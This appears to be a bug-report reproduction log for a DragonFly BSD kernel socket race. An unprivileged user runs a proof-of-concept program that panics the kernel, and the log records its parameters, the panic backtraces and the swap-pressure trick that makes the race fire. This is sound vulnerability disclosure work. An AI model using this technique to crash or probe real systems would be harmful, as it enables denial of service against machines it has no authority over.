== DF-2694 baseline reproduction (unprivileged user maxx, uid 1001) ==
== Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 ==
==        stock INVARIANTS kernel (X86_64_GENERIC), 6 vCPUs, 4GB RAM     ==

$ cc -O2 -pipe -pthread -o poc_race poc_race.c

--- decisive run 1 (TCP / sorecvtcp variant) ------------------------
$ /tmp/poc_race 40 3000 3000 0     # mode 0
DF-2694 race: rounds=40 delay=3000+3000us recvlen=524288 mode=tcp-panic
dirtying pig (3400 MB)...
pool swapped out; starting rounds
    ... (guest dies mid-run; ssh times out; serial console shows:) ...

panic: assertion "m" failed in sorecvtcp at /usr/src/sys/kern/uipc_socket.c:1852
cpuid = 4
Trace beginning at frame 0xfffff80118677738
sorecvtcp() at sorecvtcp+0x988 0xffffffff806c6e78
sorecvtcp() at sorecvtcp+0x988 0xffffffff806c6e78
kern_recvmsg() at kern_recvmsg+0xf7 0xffffffff806cba17
sys_recvfrom() at sys_recvfrom+0xc4 0xffffffff806cbc64
syscall2() at syscall2+0x11e 0xffffffff80bd6a0e
Debugger("panic")
(full capture: panic.txt)

--- decisive run 2 (AF_UNIX / generic soreceive variant) ------------
$ /tmp/poc_race 60 200 500 1      # mode 1
DF-2694 race: rounds=60 delay=200+500us recvlen=524288 mode=unix-leak
dirtying pig (3400 MB)...
pool swapped out; starting rounds
    ... (guest dies mid-run; serial console shows:) ...

panic: assertion "sb->sb_mb == m" failed in sbunlinkmbuf at /usr/src/sys/kern/uipc_sockbuf.c:552
cpuid = 0
Trace beginning at frame 0xfffff80118623708
sbunlinkmbuf() at sbunlinkmbuf+0x109 0xffffffff806c1e09
sbunlinkmbuf() at sbunlinkmbuf+0x109 0xffffffff806c1e09
soreceive() at soreceive+0xbd5 0xffffffff806c6335
kern_recvmsg() at kern_recvmsg+0xf7 0xffffffff806cba17
sys_recvfrom() at sys_recvfrom+0xc4 0xffffffff806cbc64
syscall2() at syscall2+0x11e 0xffffffff80bd6a0e
Debugger("panic")
(full capture: panic2.txt)

--- prior tuning runs (no swap pressure): no hits --------------------
Runs with resident or zero-fill-fault receive windows (hundreds of
rounds, 0-9ms delay sweeps) never fired: the copier never slept in
uiomove(), so its lwkt token stayed held and sorflush() serialized
behind it.  The race requires *sleeping* faults; the PoC forces them
by pre-swapping its receive windows ("dirtying pig").